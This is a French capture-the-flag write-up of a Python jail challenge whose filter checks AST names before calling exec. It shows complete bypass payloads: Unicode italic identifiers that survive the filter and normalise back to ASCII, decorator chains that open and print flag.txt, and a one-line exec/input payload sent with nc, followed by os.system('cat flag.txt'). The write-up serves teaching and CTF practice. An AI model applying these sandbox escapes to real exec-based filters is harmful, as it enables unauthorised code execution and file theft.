⁉️ No Sense
👀 Avant de commencer
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github
📖 Énoncé du challenge
#!/usr/local/bin/python3
from ast import parse, NodeVisitor
inp = input('> ')
if any(c in inp for c in '([=])'):
print('no.')
exit()
class NoNonsenseVisitor(NodeVisitor):
def visit_Name(self, n):
if n.id in inp: # surely impossible to get around this since all utf8 chars will be the same between ast.parse and inp, right?
print('no ' + n.id)
exit()
NoNonsenseVisitor().visit(parse(inp))
exec(inp) # management told me they need to use exec and not eval. idk why but they said something about multiline statements? idk
🚩 Avoir le flag
Bon, nouveau challenge est maintenant nous allons devoir bypass un AST.
Si vous avez bien suivi mes writeups, nous passons à l'état analyse.
Petite analyse du code:
- On a un input qui est demandé à l'utilisateur.
- On vérifie si l'input contient un des caractères suivants:
([=])
. Si c'est le cas, on afficheno.
et on quitte le programme. - On a une classe
NoNonsenseVisitor
qui hérite deNodeVisitor
. - On a une méthode
visit_Name
qui prend en paramètren
. - On vérifie si
n.id
est dansinp
. Si c'est le cas, on afficheno
suivi den.id
et on quitte le programme. - On visite l'AST de l'input.
- On exécute l'input.
Déja notre principal problème est que l'input ne doit pas contenir les de [a-zA-Z]
.
Vu que nous avons un exec
, nous pouvons avoir des injections à base de stylish payload.
Comme ça par exemple:
❯ python3 main.py
> print
no print
❯ python3 main.py
> 𝘱𝘳𝘪𝘯𝘵
Donc avec notre stylish payload, nous pouvons bypass le challenge.
A présent nous devons trouver un moyen de soit lire le fichier flag.txt
ou soit exécuter une commande.
Déja pour ouvrir le fichier flag.txt
et bypass l'AST, nous pouvons utiliser des décorateurs python.
>>> def func(x):
... print("FUNC WAS CALLED SOMEWHERE")
...
>>> @func
... class z:
... pass
...
FUNC WAS CALLED SOMEWHERE
>>>
Okay c'est pas mal, mais comment on peut l'utiliser pour lire le fichier flag.txt
?
Si vous avez suivi le writeup Parity-2, nous connaissons un tricks pour avoir le contenu d'un fichier uniquement avec un for
.
Nous pouvons donc effectué le même trick ici.
>>> for 𝘱𝘢𝘵𝘩 in {lambda _: "flag.txt"}:
... @print
... @list
... @open
... @path
... class z:
... pass
...
['jail{flag_will_be_here_on_remote}\n']
Nous allons effectué notre deuxième petit tricks c'est à dire mettre tout sur la même ligne. Pour cela nous pouvons utilisé le \r
.
inp = """@𝘦𝘹𝘦𝘤\r@𝘪𝘯𝘱𝘶𝘵\rclass\x0ca:pass"""
print(inp)
Et on peut alors envoyer notre payload au serveur:
$ python3 payload.py | nc challs1.pyjail.club 6197
__import__('os').system('cat flag.txt')
jail{the_no_in_no_nonsense_stands_for_normal_as_in_nfkc_normalized}
Et voilà, nous avons notre flag jail{the_no_in_no_nonsense_stands_for_normal_as_in_nfkc_normalized}
.
💖 Support
👀 Avant de quitter
Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github